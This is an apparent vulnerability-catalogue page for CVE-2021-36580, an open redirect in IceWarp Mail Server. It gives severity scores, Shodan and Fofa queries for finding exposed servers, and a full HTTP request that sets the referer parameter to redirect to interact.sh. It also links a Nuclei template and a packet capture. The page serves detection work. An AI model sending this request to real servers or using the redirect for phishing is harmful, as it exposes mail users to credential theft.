🔙 목록으로 돌아가기

CVE-2021-36580: IceWarp Mail Server - Open Redirect

TitleIceWarp Mail Server - Open Redirect
AuthorDhiyaneshDk
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
RemediationApply the latest security patches or updates provided by IceWarp to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.096
CVE IDCVE-2021-36580
CWE IDCWE-601
Shodan Querytitle:"icewarp"http.title:"icewarp"
Fofa Querytitle="icewarp"
Tags cve2021 cve icewarp redirect vuln

🔍 Vulnerability Description

IceWarp Mail Server contains an open redirect via the referer parameter. This can lead to phishing attacks or other unintended redirects.

🌐 HTTP Request

GET /webmail/basic/?referer=https://interact.sh&_c=auth&ctz=120&signup_password&_a%5bsignup%5d=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36580.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-36580.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A